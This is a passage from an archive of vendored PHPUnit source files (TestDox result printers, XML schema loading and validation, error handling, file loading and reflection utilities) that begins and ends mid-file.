($this->exception !== null) { if ($this->exception instanceof Exception) { $steps = $this->exception->getSerializableTrace(); } else { $steps = $this->exception->getTrace(); } try { $file = (new ReflectionClass($test))->getFileName(); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd foreach ($steps as $step) { if (isset($step['file']) && $step['file'] === $file) { $testNode->setAttribute('exceptionLine', (string) $step['line']); break; } } $testNode->setAttribute('exceptionMessage', $this->exception->getMessage()); } $this->root->appendChild($testNode); } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/TestDoxPrinter.php000064400000025457147577714370023111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use const PHP_EOL; use function array_map; use function get_class; use function implode; use function method_exists; use function preg_split; use function trim; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Reorderable; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestResult; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\Runner\PhptTestCase; use PHPUnit\TextUI\DefaultResultPrinter; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class TestDoxPrinter extends DefaultResultPrinter { /** * @var NamePrettifier */ protected $prettifier; /** * @var int The number of test results received from the TestRunner */ protected $testIndex = 0; /** * @var int The number of test results already sent to the output */ protected $testFlushIndex = 0; /** * @var array Buffer for test results */ protected $testResults = []; /** * @var array Lookup table for testname to testResults[index] */ protected $testNameResultIndex = []; /** * @var bool */ protected $enableOutputBuffer = false; /** * @var array array */ protected $originalExecutionOrder = []; /** * @var int */ protected $spinState = 0; /** * @var bool */ protected $showProgress = true; /** * @param null|resource|string $out * @param int|string $numberOfColumns * * @throws \PHPUnit\Framework\Exception */ public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) { parent::__construct($out, $verbose, $colors, $debug, $numberOfColumns, $reverse); $this->prettifier = new NamePrettifier($this->colors); } public function setOriginalExecutionOrder(array $order): void { $this->originalExecutionOrder = $order; $this->enableOutputBuffer = !empty($order); } public function setShowProgressAnimation(bool $showProgress): void { $this->showProgress = $showProgress; } public function printResult(TestResult $result): void { } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function endTest(Test $test, float $time): void { if (!$test instanceof TestCase && !$test instanceof PhptTestCase && !$test instanceof TestSuite) { return; } if ($this->testHasPassed()) { $this->registerTestResult($test, null, BaseTestRunner::STATUS_PASSED, $time, false); } if ($test instanceof TestCase || $test instanceof PhptTestCase) { $this->testIndex++; } parent::endTest($test, $time); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addError(Test $test, Throwable $t, float $time): void { $this->registerTestResult($test, $t, BaseTestRunner::STATUS_ERROR, $time, true); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addWarning(Test $test, Warning $e, float $time): void { $this->registerTestResult($test, $e, BaseTestRunner::STATUS_WARNING, $time, true); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { $this->registerTestResult($test, $e, BaseTestRunner::STATUS_FAILURE, $time, true); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { $this->registerTestResult($test, $t, BaseTestRunner::STATUS_INCOMPLETE, $time, false); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { $this->registerTestResult($test, $t, BaseTestRunner::STATUS_RISKY, $time, false); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { $this->registerTestResult($test, $t, BaseTestRunner::STATUS_SKIPPED, $time, false); } public function writeProgress(string $progress): void { $this->flushOutputBuffer(); } public function flush(): void { $this->flushOutputBuffer(true); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function registerTestResult(Test $test, ?Throwable $t, int $status, float $time, bool $verbose): void { $testName = $test instanceof Reorderable ? $test->sortId() : $test->getName(); $result = [ 'className' => $this->formatClassName($test), 'testName' => $testName, 'testMethod' => $this->formatTestName($test), 'message' => '', 'status' => $status, 'time' => $time, 'verbose' => $verbose, ]; if ($t !== null) { $result['message'] = $this->formatTestResultMessage($t, $result); } $this->testResults[$this->testIndex] = $result; $this->testNameResultIndex[$testName] = $this->testIndex; } protected function formatTestName(Test $test): string { return method_exists($test, 'getName') ? $test->getName() : ''; } protected function formatClassName(Test $test): string { return get_class($test); } protected function testHasPassed(): bool { if (!isset($this->testResults[$this->testIndex]['status'])) { return true; } if ($this->testResults[$this->testIndex]['status'] === BaseTestRunner::STATUS_PASSED) { return true; } return false; } protected function flushOutputBuffer(bool $forceFlush = false): void { if ($this->testFlushIndex === $this->testIndex) { return; } if ($this->testFlushIndex > 0) { if ($this->enableOutputBuffer && isset($this->originalExecutionOrder[$this->testFlushIndex - 1])) { $prevResult = $this->getTestResultByName($this->originalExecutionOrder[$this->testFlushIndex - 1]); } else { $prevResult = $this->testResults[$this->testFlushIndex - 1]; } } else { $prevResult = $this->getEmptyTestResult(); } if (!$this->enableOutputBuffer) { $this->writeTestResult($prevResult, $this->testResults[$this->testFlushIndex++]); } else { do { $flushed = false; if (!$forceFlush && isset($this->originalExecutionOrder[$this->testFlushIndex])) { $result = $this->getTestResultByName($this->originalExecutionOrder[$this->testFlushIndex]); } else { // This test(name) cannot found in original execution order, // flush result to output stream right away $result = $this->testResults[$this->testFlushIndex]; } if (!empty($result)) { $this->hideSpinner(); $this->writeTestResult($prevResult, $result); $this->testFlushIndex++; $prevResult = $result; $flushed = true; } else { $this->showSpinner(); } } while ($flushed && $this->testFlushIndex < $this->testIndex); } } protected function showSpinner(): void { if (!$this->showProgress) { return; } if ($this->spinState) { $this->undrawSpinner(); } $this->spinState++; $this->drawSpinner(); } protected function hideSpinner(): void { if (!$this->showProgress) { return; } if ($this->spinState) { $this->undrawSpinner(); } $this->spinState = 0; } protected function drawSpinner(): void { // optional for CLI printers: show the user a 'buffering output' spinner } protected function undrawSpinner(): void { // remove the spinner from the current line } protected function writeTestResult(array $prevResult, array $result): void { } protected function getEmptyTestResult(): array { return [ 'className' => '', 'testName' => '', 'message' => '', 'failed' => '', 'verbose' => '', ]; } protected function getTestResultByName(?string $testName): array { if (isset($this->testNameResultIndex[$testName])) { return $this->testResults[$this->testNameResultIndex[$testName]]; } return []; } protected function formatThrowable(Throwable $t, ?int $status = null): string { $message = trim(\PHPUnit\Framework\TestFailure::exceptionToString($t)); if ($message) { $message .= PHP_EOL . PHP_EOL . $this->formatStacktrace($t); } else { $message = $this->formatStacktrace($t); } return $message; } protected function formatStacktrace(Throwable $t): string { return \PHPUnit\Util\Filter::getFilteredStacktrace($t); } protected function formatTestResultMessage(Throwable $t, array $result, string $prefix = '│'): string { $message = $this->formatThrowable($t, $result['status']); if ($message === '') { return ''; } if (!($this->verbose || $result['verbose'])) { return ''; } return $this->prefixLines($prefix, $message); } protected function prefixLines(string $prefix, string $message): string { $message = trim($message); return implode( PHP_EOL, array_map( static function (string $text) use ($prefix) { return ' ' . $prefix . ($text ? ' ' . $text : ''); }, preg_split('/\r\n|\r|\n/', $message) ) ); } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/ResultPrinter.php000064400000016123147577714370022763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use function get_class; use function in_array; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\ErrorTestCase; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Framework\WarningTestCase; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\TextUI\ResultPrinter as ResultPrinterInterface; use PHPUnit\Util\Printer; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class ResultPrinter extends Printer implements ResultPrinterInterface { /** * @var NamePrettifier */ protected $prettifier; /** * @var string */ protected $testClass = ''; /** * @var int */ protected $testStatus; /** * @var array */ protected $tests = []; /** * @var int */ protected $successful = 0; /** * @var int */ protected $warned = 0; /** * @var int */ protected $failed = 0; /** * @var int */ protected $risky = 0; /** * @var int */ protected $skipped = 0; /** * @var int */ protected $incomplete = 0; /** * @var null|string */ protected $currentTestClassPrettified; /** * @var null|string */ protected $currentTestMethodPrettified; /** * @var array */ private $groups; /** * @var array */ private $excludeGroups; /** * @param resource $out * * @throws \PHPUnit\Framework\Exception */ public function __construct($out = null, array $groups = [], array $excludeGroups = []) { parent::__construct($out); $this->groups = $groups; $this->excludeGroups = $excludeGroups; $this->prettifier = new NamePrettifier; $this->startRun(); } /** * Flush buffer and close output. */ public function flush(): void { $this->doEndClass(); $this->endRun(); parent::flush(); } /** * An error occurred. */ public function addError(Test $test, Throwable $t, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_ERROR; $this->failed++; } /** * A warning occurred. */ public function addWarning(Test $test, Warning $e, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_WARNING; $this->warned++; } /** * A failure occurred. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_FAILURE; $this->failed++; } /** * Incomplete test. */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_INCOMPLETE; $this->incomplete++; } /** * Risky test. */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_RISKY; $this->risky++; } /** * Skipped test. */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->testStatus = BaseTestRunner::STATUS_SKIPPED; $this->skipped++; } /** * A testsuite started. */ public function startTestSuite(TestSuite $suite): void { } /** * A testsuite ended. */ public function endTestSuite(TestSuite $suite): void { } /** * A test started. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function startTest(Test $test): void { if (!$this->isOfInterest($test)) { return; } $class = get_class($test); if ($this->testClass !== $class) { if ($this->testClass !== '') { $this->doEndClass(); } $this->currentTestClassPrettified = $this->prettifier->prettifyTestClass($class); $this->testClass = $class; $this->tests = []; $this->startClass($class); } if ($test instanceof TestCase) { $this->currentTestMethodPrettified = $this->prettifier->prettifyTestCase($test); } $this->testStatus = BaseTestRunner::STATUS_PASSED; } /** * A test ended. */ public function endTest(Test $test, float $time): void { if (!$this->isOfInterest($test)) { return; } $this->tests[] = [$this->currentTestMethodPrettified, $this->testStatus]; $this->currentTestClassPrettified = null; $this->currentTestMethodPrettified = null; } protected function doEndClass(): void { foreach ($this->tests as $test) { $this->onTest($test[0], $test[1] === BaseTestRunner::STATUS_PASSED); } $this->endClass($this->testClass); } /** * Handler for 'start run' event. */ protected function startRun(): void { } /** * Handler for 'start class' event. */ protected function startClass(string $name): void { } /** * Handler for 'on test' event. */ protected function onTest(string $name, bool $success = true): void { } /** * Handler for 'end class' event. */ protected function endClass(string $name): void { } /** * Handler for 'end run' event. */ protected function endRun(): void { } private function isOfInterest(Test $test): bool { if (!$test instanceof TestCase) { return false; } if ($test instanceof ErrorTestCase || $test instanceof WarningTestCase) { return false; } if (!empty($this->groups)) { foreach ($test->getGroups() as $group) { if (in_array($group, $this->groups, true)) { return true; } } return false; } if (!empty($this->excludeGroups)) { foreach ($test->getGroups() as $group) { if (in_array($group, $this->excludeGroups, true)) { return false; } } return true; } return true; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/ValidationResult.php000064400000003230147577714370022573 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use function sprintf; use function trim; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class ValidationResult { /** * @psalm-var array> */ private $validationErrors = []; /** * @psalm-param array $errors */ public static function fromArray(array $errors): self { $validationErrors = []; foreach ($errors as $error) { if (!isset($validationErrors[$error->line])) { $validationErrors[$error->line] = []; } $validationErrors[$error->line][] = trim($error->message); } return new self($validationErrors); } private function __construct(array $validationErrors) { $this->validationErrors = $validationErrors; } public function hasValidationErrors(): bool { return !empty($this->validationErrors); } public function asString(): string { $buffer = ''; foreach ($this->validationErrors as $line => $validationErrorsOnLine) { $buffer .= sprintf(PHP_EOL . ' Line %d:' . PHP_EOL, $line); foreach ($validationErrorsOnLine as $validationError) { $buffer .= sprintf(' - %s' . PHP_EOL, $validationError); } } return $buffer; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetectionResult.php000064400000001237147577714370023545 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ abstract class SchemaDetectionResult { public function detected(): bool { return false; } /** * @throws Exception */ public function version(): string { throw new Exception('No supported schema was detected'); } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/SchemaFinder.php000064400000002347147577714370021642 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use function defined; use function is_file; use function sprintf; use PHPUnit\Runner\Version; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SchemaFinder { /** * @throws Exception */ public function find(string $version): string { if ($version === Version::series()) { $filename = $this->path() . 'phpunit.xsd'; } else { $filename = $this->path() . 'schema/' . $version . '.xsd'; } if (!is_file($filename)) { throw new Exception( sprintf( 'Schema for PHPUnit %s is not available', $version ) ); } return $filename; } private function path(): string { if (defined('__PHPUNIT_PHAR_ROOT__')) { return __PHPUNIT_PHAR_ROOT__ . '/'; } return __DIR__ . '/../../../'; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/SchemaDetector.php000064400000001760147577714370022202 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SchemaDetector { /** * @throws Exception */ public function detect(string $filename): SchemaDetectionResult { $document = (new Loader)->loadFile( $filename, false, true, true ); foreach (['9.2', '8.5'] as $candidate) { $schema = (new SchemaFinder)->find($candidate); if (!(new Validator)->validate($document, $schema)->hasValidationErrors()) { return new SuccessfulSchemaDetectionResult($candidate); } } return new FailedSchemaDetectionResult; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/Exception.php000064400000000743147577714370021246 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use RuntimeException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends RuntimeException implements \PHPUnit\Exception { } res/readability/vendor/phpunit/phpunit/src/Util/Xml/Validator.php000064400000001740147577714370021233 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use function file_get_contents; use function libxml_clear_errors; use function libxml_get_errors; use function libxml_use_internal_errors; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Validator { public function validate(DOMDocument $document, string $xsdFilename): ValidationResult { $originalErrorHandling = libxml_use_internal_errors(true); $document->schemaValidateSource(file_get_contents($xsdFilename)); $errors = libxml_get_errors(); libxml_clear_errors(); libxml_use_internal_errors($originalErrorHandling); return ValidationResult::fromArray($errors); } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/SuccessfulSchemaDetectionResult.php000064400000001423147577714370025602 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class SuccessfulSchemaDetectionResult extends SchemaDetectionResult { /** * @var string */ private $version; public function __construct(string $version) { $this->version = $version; } public function detected(): bool { return true; } public function version(): string { return $this->version; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/FailedSchemaDetectionResult.php000064400000000734147577714370024653 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class FailedSchemaDetectionResult extends SchemaDetectionResult { } res/readability/vendor/phpunit/phpunit/src/Util/Xml/Loader.php000064400000006064147577714370020520 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use function chdir; use function dirname; use function error_reporting; use function file_get_contents; use function getcwd; use function libxml_get_errors; use function libxml_use_internal_errors; use function sprintf; use DOMDocument; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Loader { /** * @throws Exception */ public function loadFile(string $filename, bool $isHtml = false, bool $xinclude = false, bool $strict = false): DOMDocument { $reporting = error_reporting(0); $contents = file_get_contents($filename); error_reporting($reporting); if ($contents === false) { throw new Exception( sprintf( 'Could not read "%s".', $filename ) ); } return $this->load($contents, $isHtml, $filename, $xinclude, $strict); } /** * @throws Exception */ public function load(string $actual, bool $isHtml = false, string $filename = '', bool $xinclude = false, bool $strict = false): DOMDocument { if ($actual === '') { throw new Exception('Could not load XML from empty string'); } // Required for XInclude on Windows. if ($xinclude) { $cwd = getcwd(); @chdir(dirname($filename)); } $document = new DOMDocument; $document->preserveWhiteSpace = false; $internal = libxml_use_internal_errors(true); $message = ''; $reporting = error_reporting(0); if ($filename !== '') { // Required for XInclude $document->documentURI = $filename; } if ($isHtml) { $loaded = $document->loadHTML($actual); } else { $loaded = $document->loadXML($actual); } if (!$isHtml && $xinclude) { $document->xinclude(); } foreach (libxml_get_errors() as $error) { $message .= "\n" . $error->message; } libxml_use_internal_errors($internal); error_reporting($reporting); if (isset($cwd)) { @chdir($cwd); } if ($loaded === false || ($strict && $message !== '')) { if ($filename !== '') { throw new Exception( sprintf( 'Could not load "%s".%s', $filename, $message !== '' ? "\n" . $message : '' ) ); } if ($message === '') { $message = 'Could not load XML for unknown reason'; } throw new Exception($message); } return $document; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml/SnapshotNodeList.php000064400000001770147577714370022552 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use ArrayIterator; use Countable; use DOMNode; use DOMNodeList; use IteratorAggregate; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SnapshotNodeList implements Countable, IteratorAggregate { /** * @var DOMNode[] */ private $nodes = []; public static function fromNodeList(DOMNodeList $list): self { $snapshot = new self; foreach ($list as $node) { $snapshot->nodes[] = $node; } return $snapshot; } public function count(): int { return count($this->nodes); } public function getIterator(): ArrayIterator { return new ArrayIterator($this->nodes); } } res/readability/vendor/phpunit/phpunit/src/Util/RegularExpression.php000064400000001372147577714370022230 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function preg_match; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RegularExpression { /** * @return false|int */ public static function safeMatch(string $pattern, string $subject) { return ErrorHandler::invokeIgnoringWarnings( static function () use ($pattern, $subject) { return preg_match($pattern, $subject); } ); } } res/readability/vendor/phpunit/phpunit/src/Util/ErrorHandler.php000064400000007731147577714370021143 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const E_DEPRECATED; use const E_NOTICE; use const E_STRICT; use const E_USER_DEPRECATED; use const E_USER_NOTICE; use const E_USER_WARNING; use const E_WARNING; use function error_reporting; use function restore_error_handler; use function set_error_handler; use PHPUnit\Framework\Error\Deprecated; use PHPUnit\Framework\Error\Error; use PHPUnit\Framework\Error\Notice; use PHPUnit\Framework\Error\Warning; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ErrorHandler { /** * @var bool */ private $convertDeprecationsToExceptions; /** * @var bool */ private $convertErrorsToExceptions; /** * @var bool */ private $convertNoticesToExceptions; /** * @var bool */ private $convertWarningsToExceptions; /** * @var bool */ private $registered = false; public static function invokeIgnoringWarnings(callable $callable) { set_error_handler( static function ($errorNumber, $errorString) { if ($errorNumber === E_WARNING) { return; } return false; } ); $result = $callable(); restore_error_handler(); return $result; } public function __construct(bool $convertDeprecationsToExceptions, bool $convertErrorsToExceptions, bool $convertNoticesToExceptions, bool $convertWarningsToExceptions) { $this->convertDeprecationsToExceptions = $convertDeprecationsToExceptions; $this->convertErrorsToExceptions = $convertErrorsToExceptions; $this->convertNoticesToExceptions = $convertNoticesToExceptions; $this->convertWarningsToExceptions = $convertWarningsToExceptions; } public function __invoke(int $errorNumber, string $errorString, string $errorFile, int $errorLine): bool { /* * Do not raise an exception when the error suppression operator (@) was used. * * @see https://github.com/sebastianbergmann/phpunit/issues/3739 */ if (!($errorNumber & error_reporting())) { return false; } switch ($errorNumber) { case E_NOTICE: case E_USER_NOTICE: case E_STRICT: if (!$this->convertNoticesToExceptions) { return false; } throw new Notice($errorString, $errorNumber, $errorFile, $errorLine); case E_WARNING: case E_USER_WARNING: if (!$this->convertWarningsToExceptions) { return false; } throw new Warning($errorString, $errorNumber, $errorFile, $errorLine); case E_DEPRECATED: case E_USER_DEPRECATED: if (!$this->convertDeprecationsToExceptions) { return false; } throw new Deprecated($errorString, $errorNumber, $errorFile, $errorLine); default: if (!$this->convertErrorsToExceptions) { return false; } throw new Error($errorString, $errorNumber, $errorFile, $errorLine); } } public function register(): void { if ($this->registered) { return; } $oldErrorHandler = set_error_handler($this); if ($oldErrorHandler !== null) { restore_error_handler(); return; } $this->registered = true; } public function unregister(): void { if (!$this->registered) { return; } restore_error_handler(); } } res/readability/vendor/phpunit/phpunit/src/Util/Filesystem.php000064400000002055147577714370020672 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function is_dir; use function mkdir; use function str_replace; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Filesystem { /** * Maps class names to source file names. * * - PEAR CS: Foo_Bar_Baz -> Foo/Bar/Baz.php * - Namespace: Foo\Bar\Baz -> Foo/Bar/Baz.php */ public static function classNameToFilename(string $className): string { return str_replace( ['_', '\\'], DIRECTORY_SEPARATOR, $className ) . '.php'; } public static function createDirectory(string $directory): bool { return !(!is_dir($directory) && !@mkdir($directory, 0777, true) && !is_dir($directory)); } } res/readability/vendor/phpunit/phpunit/src/Util/FileLoader.php000064400000004704147577714370020557 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function array_diff; use function array_keys; use function fopen; use function get_defined_vars; use function sprintf; use function stream_resolve_include_path; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class FileLoader { /** * Checks if a PHP sourcecode file is readable. The sourcecode file is loaded through the load() method. * * As a fallback, PHP looks in the directory of the file executing the stream_resolve_include_path function. * We do not want to load the Test.php file here, so skip it if it found that. * PHP prioritizes the include_path setting, so if the current directory is in there, it will first look in the * current working directory. * * @throws Exception */ public static function checkAndLoad(string $filename): string { $includePathFilename = stream_resolve_include_path($filename); $localFile = __DIR__ . DIRECTORY_SEPARATOR . $filename; if (!$includePathFilename || $includePathFilename === $localFile || !self::isReadable($includePathFilename)) { throw new Exception( sprintf('Cannot open file "%s".' . "\n", $filename) ); } self::load($includePathFilename); return $includePathFilename; } /** * Loads a PHP sourcefile. */ public static function load(string $filename): void { $oldVariableNames = array_keys(get_defined_vars()); /** * @noinspection PhpIncludeInspection * @psalm-suppress UnresolvableInclude */ include_once $filename; $newVariables = get_defined_vars(); foreach (array_diff(array_keys($newVariables), $oldVariableNames) as $variableName) { if ($variableName !== 'oldVariableNames') { $GLOBALS[$variableName] = $newVariables[$variableName]; } } } /** * @see https://github.com/sebastianbergmann/phpunit/pull/2751 */ private static function isReadable(string $filename): bool { return @fopen($filename, 'r') !== false; } } res/readability/vendor/phpunit/phpunit/src/Util/Reflection.php000064400000003216147577714370020640 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use PHPUnit\Framework\Assert; use PHPUnit\Framework\TestCase; use ReflectionClass; use ReflectionMethod; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Reflection { /** * @psalm-return list */ public function publicMethodsInTestClass(ReflectionClass $class): array { return $this->filterMethods($class, ReflectionMethod::IS_PUBLIC); } /** * @psalm-return list */ public function methodsInTestClass(ReflectionClass $class): array { return $this->filterMethods($class, null); } /** * @psalm-return list */ private function filterMethods(ReflectionClass $class, ?int $filter): array { $methods = []; // PHP <7.3.5 throw error when null is passed // to ReflectionClass::getMethods() when strict_types is enabled. $classMethods = $filter === null ? $class->getMethods() : $class->getMethods($filter); foreach ($classMethods as $method) { if ($method->getDeclaringClass()->getName() === TestCase::class) { continue; } if ($method->getDeclaringClass()->getName() === Assert::class) { continue; } $methods[] = $method; } return $methods; } } res/readability/vendor/phpunit/phpunit/src/Util/TextTestListRenderer.php000064400000002663147577714370022662 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const PHP_EOL; use function get_class; use function sprintf; use function str_replace; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\PhptTestCase; use RecursiveIteratorIterator; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TextTestListRenderer { /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function render(TestSuite $suite): string { $buffer = 'Available test(s):' . PHP_EOL; foreach (new RecursiveIteratorIterator($suite->getIterator()) as $test) { if ($test instanceof TestCase) { $name = sprintf( '%s::%s', get_class($test), str_replace(' with data set ', '', $test->getName()) ); } elseif ($test instanceof PhptTestCase) { $name = $test->getName(); } else { continue; } $buffer .= sprintf( ' - %s' . PHP_EOL, $name ); } return $buffer; } } res/readability/vendor/phpunit/phpunit/src/Util/Xml.php000064400000012611147577714370017305 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const ENT_QUOTES; use function assert; use function class_exists; use function htmlspecialchars; use function mb_convert_encoding; use function ord; use function preg_replace; use function settype; use function strlen; use DOMCharacterData; use DOMDocument; use DOMElement; use DOMNode; use DOMText; use ReflectionClass; use ReflectionException; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Xml { /** * @deprecated Only used by assertEqualXMLStructure() */ public static function import(DOMElement $element): DOMElement { return (new DOMDocument)->importNode($element, true); } /** * @deprecated Only used by assertEqualXMLStructure() */ public static function removeCharacterDataNodes(DOMNode $node): void { if ($node->hasChildNodes()) { for ($i = $node->childNodes->length - 1; $i >= 0; $i--) { if (($child = $node->childNodes->item($i)) instanceof DOMCharacterData) { $node->removeChild($child); } } } } /** * Escapes a string for the use in XML documents. * * Any Unicode character is allowed, excluding the surrogate blocks, FFFE, * and FFFF (not even as character reference). * * @see https://www.w3.org/TR/xml/#charsets */ public static function prepareString(string $string): string { return preg_replace( '/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/', '', htmlspecialchars( self::convertToUtf8($string), ENT_QUOTES ) ); } /** * "Convert" a DOMElement object into a PHP variable. */ public static function xmlToVariable(DOMElement $element) { $variable = null; switch ($element->tagName) { case 'array': $variable = []; foreach ($element->childNodes as $entry) { if (!$entry instanceof DOMElement || $entry->tagName !== 'element') { continue; } $item = $entry->childNodes->item(0); if ($item instanceof DOMText) { $item = $entry->childNodes->item(1); } $value = self::xmlToVariable($item); if ($entry->hasAttribute('key')) { $variable[(string) $entry->getAttribute('key')] = $value; } else { $variable[] = $value; } } break; case 'object': $className = $element->getAttribute('class'); if ($element->hasChildNodes()) { $arguments = $element->childNodes->item(0)->childNodes; $constructorArgs = []; foreach ($arguments as $argument) { if ($argument instanceof DOMElement) { $constructorArgs[] = self::xmlToVariable($argument); } } try { assert(class_exists($className)); $variable = (new ReflectionClass($className))->newInstanceArgs($constructorArgs); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } else { $variable = new $className; } break; case 'boolean': $variable = $element->textContent === 'true'; break; case 'integer': case 'double': case 'string': $variable = $element->textContent; settype($variable, $element->tagName); break; } return $variable; } private static function convertToUtf8(string $string): string { if (!self::isUtf8($string)) { $string = mb_convert_encoding($string, 'UTF-8'); } return $string; } private static function isUtf8(string $string): bool { $length = strlen($string); for ($i = 0; $i < $length; $i++) { if (ord($string[$i]) < 0x80) { $n = 0; } elseif ((ord($string[$i]) & 0xE0) === 0xC0) { $n = 1; } elseif ((ord($string[$i]) & 0xF0) === 0xE0) { $n = 2; } elseif ((ord($string[$i]) & 0xF0) === 0xF0) { $n = 3; } else { return false; } for ($j = 0; $j < $n; $j++) { if ((++$i === $length) || ((ord($string[$i]) & 0xC0) !== 0x80)) { return false; } } } return true; } } res/readability/vendor/phpunit/phpunit/src/Util/ExcludeList.php000064400000014776147577714370021010 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function class_exists; use function defined; use function dirname; use function is_dir; use function realpath; use function sprintf; use function strpos; use function 